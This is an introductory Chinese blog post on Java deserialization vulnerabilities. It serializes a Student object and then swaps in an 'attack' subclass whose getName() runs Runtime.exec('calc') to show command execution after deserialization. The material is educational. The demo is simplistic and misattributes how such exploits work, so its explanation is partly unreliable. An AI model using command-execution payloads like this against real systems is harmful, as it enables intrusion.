美文网首页漏洞分析
java反序列化漏洞之初了解

java反序列化漏洞之初了解

作者: 身自在 | 来源:发表于2018-08-10 21:13 被阅读1次

最近这两年反序列化漏洞特别的”火“,反序列化漏洞的主要成因是在JAVA中,ObjectOutputStream中的writeObject()方法可以将对象序列化来存入硬盘/网络中等,ObjectInputStream中的readObject()方法可以从序列化文件中读出内容来反序列化,然而在反序列化中没有对序列化文件进行检测,导致漏洞。

先写一个普通的Student类,就一个setName()和getName()方法:

package com.sdyp;

import java.io.Serializable;

public class Student implements Serializable{
    
    private String name;
    public String getName(){
        return name;
    }
    public void setName(String name){
        this.name=name;
    }
}

进行序列化和反序列化的主方法:

package com.sdyp;

import java.io.File;
import java.io.IOException;

import javax.imageio.stream.FileImageInputStream;

import java.io.*;

public class Serandunser {

    public static void main(String[] args) throws IOException, ClassNotFoundException{
        //打开要存储的文件名
        File ser=new File("ser.ser");
        //序列化流
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream(ser));

        Student stu=new attack();
        stu.setName("hasaki");
        //将序列化对象写入文件
        oos.writeObject(stu);
        //文件的反序列化流
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(ser));
        //从文件中读取反序列化流
        Student read=(Student)ois.readObject();
        System.out.println(read.getName());

    }

}

程序在正常行为下运行的正常结果:


image.png

我们重写一个继承Student类的attack类来模拟攻击,将getName()重写为执行命令调用计算器:

package com.sdyp;

import java.io.IOException;

public class attack extends Student {

    public String getName(){
        Process pr=null;
        try{
            pr=Runtime.getRuntime().exec("calc");
        }
        catch(Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

那么修改主函数为序列化和反序列化attack类:

package com.sdyp;

import java.io.File;
import java.io.IOException;

import javax.imageio.stream.FileImageInputStream;

import java.io.*;

public class Serandunser {

    public static void main(String[] args) throws IOException, ClassNotFoundException{
        //打开要存储的文件名
        File ser=new File("ser.ser");
        //序列化流
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream(ser));
        Student stu=new attack();
        stu.setName("hasaki");
        //将序列化对象写入文件
        oos.writeObject(stu);
        //文件的反序列化流
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(ser));
        //从文件中读取反序列化流
        Student read=(Student)ois.readObject();
        System.out.println(read.getName());

    }

}

成功执行命令弹出计算器:


image.png

相关文章

网友评论

    本文标题:java反序列化漏洞之初了解

    本文链接:https://www.haomeiwen.com/subject/zdwlbftx.html